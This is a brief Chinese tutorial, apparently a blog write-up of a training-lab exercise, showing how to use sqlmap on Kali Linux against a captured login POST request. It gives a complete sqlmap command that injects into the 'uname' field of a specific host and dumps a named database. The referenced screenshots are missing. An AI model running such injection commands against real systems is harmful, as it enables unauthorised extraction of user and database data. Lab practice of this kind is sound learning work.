该文详细介绍了如何在KaliLinux环境下利用sqlmap工具进行SQL注入攻击。首先确认sqlmap功能正常，然后抓取网页登录数据包，接着遍历数据库类型和表，最后通过指定URL、数据参数及数据库表名，使用sqlmap提取信息。
第一步：先判定kali Linux中sqlmap能够正常使用。如下图
第二步：抓取某个页面的登陆数据包，如下
第三步：
先遍历出数据库类型和所有的表。如下图所示。
第四步：
在kali linux中，使用sqlmap，如上图
root@kali:~#sqlmap -u "http://eci-zf2.cloudecil1.ichunqiu.com" --data "uname=*&passwd=&submit=Submit" --level 3 --dump -D "sql10051008"
指定数据库表名sql10051008
post请求中参数为 uname=admin*&passwd=test&submit=Submit
5936
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
